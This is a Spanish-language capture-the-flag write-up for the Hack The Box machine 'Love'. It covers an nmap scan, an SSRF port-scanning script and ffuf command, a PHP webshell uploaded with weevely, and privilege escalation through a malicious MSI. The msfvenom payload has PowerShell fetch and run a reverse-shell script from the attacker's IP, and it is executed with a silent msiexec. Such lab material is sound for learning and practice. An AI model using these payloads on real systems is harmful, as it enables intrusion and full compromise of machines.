Love - Hack The Box

Empezamos con love que es una máquina de calificación media, en la cual contiene una vulnerabilidad ssrf, gracias a cuya vulnerabilidad logramos extraer una contraseña que nos sirve para ingresar al panel de administración. Una vez dentro logramos insertar una webshell, una vez dentro de la máquina la elevación de privilegios consiste en la carga de un archivo msi malicioso.

Enumeración

Lanzamos un simple reconocimiento con nmap.

 nmap -sCV -p80,135,139,443,445,3306,5000,5040,7680,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-09 12:22 -03
Nmap scan report for 10.10.10.239
Host is up (0.24s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Voting System using PHP
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| tls-alpn: 
|_  http/1.1
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, LDAPBindReq, LDAPSearchReq, LPDString, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TerminalServerCookie: 
|_    Host '10.10.14.8' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.92%I=7%D=9/9%Time=631B5A4A%P=x86_64-pc-linux-gnu%r(HTT
SF:POptions,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RTSPReq
SF:uest,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck,49
SF:,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20
SF:to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersionBindReqT
SF:CP,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatusRequ
SF:estTCP,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Help,49,"
SF:E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to
SF:\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionReq,49,"E\
SF:0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalServerCookie,4
SF:9,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x2
SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProgNeg,49,"E\
SF:0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server")%r(FourOhFourRequest,49,"
SF:E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to
SF:\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LPDString,49,"E\0\0\
SF:x01\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x20co
SF:nnect\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,49,"E\0\0\x0
SF:1\xffj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x20conn
SF:ect\x20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,49,"E\0\0\x01\xf
SF:fj\x04Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x20connect\
SF:x20to\x20this\x20MariaDB\x20server")%r(SIPOptions,49,"E\0\0\x01\xffj\x0
SF:4Host\x20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x20connect\x20to
SF:\x20this\x20MariaDB\x20server")%r(NotesRPC,49,"E\0\0\x01\xffj\x04Host\x
SF:20'10\.10\.14\.8'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20thi
SF:s\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-09-09T15:47:01
|_  start_date: N/A
|_clock-skew: mean: 2h41m35s, deviation: 4h02m32s, median: 21m33s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-09-09T08:47:00-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.30 seconds

No vemos nada interesante en http://10.10.10.239/index.php ni como http ni como https. Por lo cual se me ocurre agregar el dominio sacado por nmap a nuestro /etc/hosts, y luego insertamos el dominio en nuestro navegador. Nos dirigimos a demo.php y vemos lo siguiente.

Nos montamos un servidor web con php y probamos si nos interpreta el código php.

Con lo visto anteriormente ya se me ocurre un ataque ssrf.

Ssrf

El ataque lo podemos hacer de dos formas, con un script en python o con ffuf.

#!/usr/bin/python3
def ssrf():
    p = log.progress('Ssrf attack start.')
    p1=log.progress('Port')
    p2= log.progress("Port Open:")
    listport=""
    for port in range(1,65536):
        p1.status('%d/65536'%port)
        p2.status('%s'%listport)
        data_post={'file':"http://127.0.0.1:%d"%port,'read':'Scan file'}
        r = requests.post(main_url,data=data_post)
        if 4997 == len(r.text):
            pass
        else:
            port =str(port)
            listport+=port
if __name__ == '__main__':
    import requests
    from pwn import *
    main_url= "http://staging.love.htb/beta.php"
    ssrf()
ffuf -X POST -w port -u http://staging.love.htb/beta.php -d "file=http://127.0.0.1:FUZZ&read=Scan+file" -H "Content-Type: application/x-www-form-urlencoded" -c -t 50 -fw=1248

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://staging.love.htb/beta.php
 :: Wordlist         : FUZZ: port
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : file=http://127.0.0.1:FUZZ&read=Scan+file
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 1248
________________________________________________

80                      [Status: 200, Size: 9385, Words: 1901, Lines: 337, Duration: 303ms]
443                     [Status: 200, Size: 5466, Words: 1296, Lines: 224, Duration: 248ms]
5000                    [Status: 200, Size: 9591, Words: 2385, Lines: 411, Duration: 249ms]
5985                    [Status: 200, Size: 5312, Words: 1266, Lines: 218, Duration: 246ms]

Ingresamos desde demo.php la siguiente url “http://127.0.0.1:5000” y vemos una password.

Vamos a la ruta http://10.10.10.239/admin e ingresamos dichas credenciales y logramos entrar.

  • Le echamos un vistazo al panel de administración y notamos que podemos subir una “imagen”, probamos si nos deja subir un php y correcto nos deja. Procedemos a subir una webshell básica.
  • Luego para ver donde se guarda el archivo es simple, solamente aprietas ctrl+u(firefox) y buscas el nombre de tu archivo en el código html.

Si queremos tener un poco más de seguridad en nuestra web shell para que nadie más que nosotros pueda ejecutar comandos, procedemos a ser lo siguiente. Nos descargamos el repo de https://github.com/epinna/weevely3

cd weevely3/
python3 weevely.py generate '123#!123' cmd.php #Nos creamos una web shell.
python3 weevely.py http://10.10.10.239/images/cmd.php '123#!123' # Ingresamos a nuestra web shell.

Elevacion de privilegios

Una vez dentro del sistema corremos el winpeas y encontramos esto.

Creamos el paylaod.

msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/Invoke-PowerShellTcp.ps1')" -f msi -o alwe.msi

Nos transferimos el alwe.msi a la máquina víctima y lo ejecutamos.

copy \\10.10.14.8\parrot\alwe.msi
msiexec /quiet /qn /i c:\windows\Temp\priv\alwe.msi

Logrado :D.